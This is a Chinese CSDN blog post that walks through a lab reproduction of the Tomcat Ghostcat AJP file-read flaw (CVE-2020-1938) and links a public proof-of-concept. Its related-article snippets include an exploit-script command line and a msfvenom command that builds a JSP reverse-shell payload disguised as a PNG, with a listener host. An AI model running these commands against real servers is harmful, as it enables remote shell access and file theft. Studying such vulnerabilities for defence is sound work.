tomcat CVE-2020-1938

最新推荐文章于 2025-03-12 10:46:36 发布
最新推荐文章于 2025-03-12 10:46:36 发布
阅读量164 收藏
点赞数
分类专栏： 漏洞复现
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_46804551/article/details/115500208
版权

搭建

在这里插入图片描述
下载好运行即可
访问成功
在这里插入图片描述

漏洞复现

Tomcat默认开启AJP服务（8009端口），存在一处文件包含缺陷。
攻击者可以通过构造的恶意请求包来进行文件包含操作，从而读取有漏洞的Tomcat服务器上Web目录文件。
漏洞验证POC
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
漏洞验证，尝试读取文件：

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

在这里插入图片描述
成功访问到配置文件

CVE-2020-1938
sechelper的博客
12-07 1190
CVE-2020-1938漏洞复现
Apache Tomcat CVE-2020-1938 漏洞
weixin_51194266的博客
06-21 1万+
所选漏洞：Apache Tomcat远程代码执行漏洞 漏洞编号：CVE-2020-1938 简单的环境搭建与POC验证
CVE-2020-1938 Tomcat 文件读取/包含漏洞复现,从零基础到精通，收藏这篇就够了！
Javachichi的博客
03-06 1906
同时，如果此应用在网站服务中具备上传功能，攻击者也可以先向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型，图片、纯文本文件等)，然后利用Gh0stcat进行文件包含，从而达到代码执行的危害。2月20日，国家信息安全漏洞共享平台（CNVD）发布安全公告，该漏洞综合评级为高危，漏洞编号为CNVD-2020-10487，CVE 编号 CVE-2020-1938。在通过浏览器访问Tomcat服务器的Web应用时，使用的就是这个，这里我改成了8000端口。大白也帮大家准备了详细的学习成长路线图。
CVE-2021-21166
weixin_48300170的博客
07-14 1393
CVE-2021-21166 Chrome 远程代码执行0 Day 漏洞复现漏洞简介漏洞信息漏洞原理环境搭建漏洞复现漏洞修复 漏洞简介       在2021年2月11日，微软浏览器漏洞研究团队的研究员 Alison Huffman提交一个0day漏洞。       一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式
CVE-2020-1938 Apache Tomcat 文件包含EXP
03-29
# CVE-2020-1938 Apache Tomcat 文件包含 影响版本： Tomcat6-9 Exp： ``` python CNVD-2020-10487-Tomcat-Ajp-lfi.py x.x.x.x -p 8009 -f urfile 一. 漏洞概述 2月20日，国家信息安全漏洞共享平台（CNVD）...
CVE-2020-1938:CVE-2020-1938
03-20
CVE-2020-1938 工具仅用于安全研究以及内部自查，禁止使用工具发起非法攻击，造成的后果由用户负责 通过测试研究发现，该突破危害及其严重，涉及非常广泛，如果发现建议立即进行修复 apache-tomcat-8.5.32.zip测试...
CVE-2020-1938.zip
04-15
【CVE-2020-1938：Apache Tomcat AJP协议远程代码执行漏洞】 CVE-2020-1938是Apache Tomcat服务器中的一个严重安全漏洞，该漏洞允许攻击者通过AJP（Apache JServ Protocol）接口来实现远程代码执行，从而对目标系统...
CVE-2020-1938(RCE利用)
热门推荐
午夜安全
03-27 1万+
CVE-2020-1938(RCE利用) 1.使用msf生成反弹shell马，并且监听 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.223.129 LPORT=6666 R > shell.png 假设利用上传点，把此图片上传到了目标服务器/log/shell.png。 在msf监听： msf > use expl...
CVE-2020-1938TomcatAjpScanner-master.zip
02-23
CVE-2020-1938 tomcat漏洞批量扫描攻击！CVE-2020-1938 tomcat漏洞批量扫描攻击！CVE-2020-1938 tomcat漏洞批量扫描攻击！CVE-2020-1938 tomcat漏洞批量扫描攻击！CVE-2020-1938 tomcat漏洞批量扫描攻击！
【vulhub】tomcat CVE-2020-1938（AJP漏洞）
最新发布
qq_51143406的博客
03-12 374
cve-2020-1938 任意文件读写 ghostcat 漏洞复现
CVE-2020-1938（tomcat root目录下文件读取文件包含）
Lelouch_E的博客
11-16 529
影响版本： Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x 前提条件：   AJP Connector 服务端口 （默认8009） 文件读取 python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /WEB-INF/web.xml 127.0.0.1 文
CVE-2020-1938-Tomcat漏洞复现
AmyBaby00的博客
06-30 698
CVE-2020-1938-Tomcat漏洞复现步骤： 1、漏洞简介 2、环境搭建 3、启动镜像、并访问Tomcat页面，查看环境搭建成功与否 4、漏洞验证 1、漏洞简介： Tomcat默认开启AJP服务（8009端口），存在一处文件包含缺陷。 攻击者可以通过构造的恶意请求包来进行文件包含操作，从而读取有漏洞的Tomcat服务器上Web目录文件。 2、环境搭建： 使用docker拉取 docker...
CVE-2020-1938：Apache Tomcat-AJP任意文件读取漏洞复现
霸唱轻柔
02-22 3013
前言：Tomcat-AJP Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持，最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现，Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因...
Ghostcat Tomcat Ajp漏洞复现（CVE-2020-1938）
偷一个月亮
02-21 1万+
Team:重生信安 漏洞简介 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。 由于Tomcat默认开启的AJP服务（8009端口）存在一处文件包含缺陷，攻击者可构造恶意的请求包进行文件包含操作，进而读取受影响Tomcat服务器上的Web目录文件。 https://cve.m...
Tomcat 本地文件包含漏洞 (CVE-2020-1938)、
wybcs的博客
01-13 966
文章目录Tomcat 本地文件包含漏洞 (CVE-2020-1938)**影响版本****docker 拉取镜像****镜像拉取后查看是否下载完成****启动容器，开始复现****访问8080端口查看环境是否搭建成功****利用工具****使用工具****反弹shell** Tomcat 本地文件包含漏洞 (CVE-2020-1938) 影响版本 Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5
tomcat cve-2020-1938 exp
05-16
Tomcat是一个广受欢迎的Java Web应用服务器，但最近被曝出安全漏洞CVE-2020-1938。该漏洞可以允许黑客通过发送特殊构造的请求来执行任意代码，甚至可能导致服务器完全被控制。 为了利用该漏洞，黑客需要向Tomcat...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值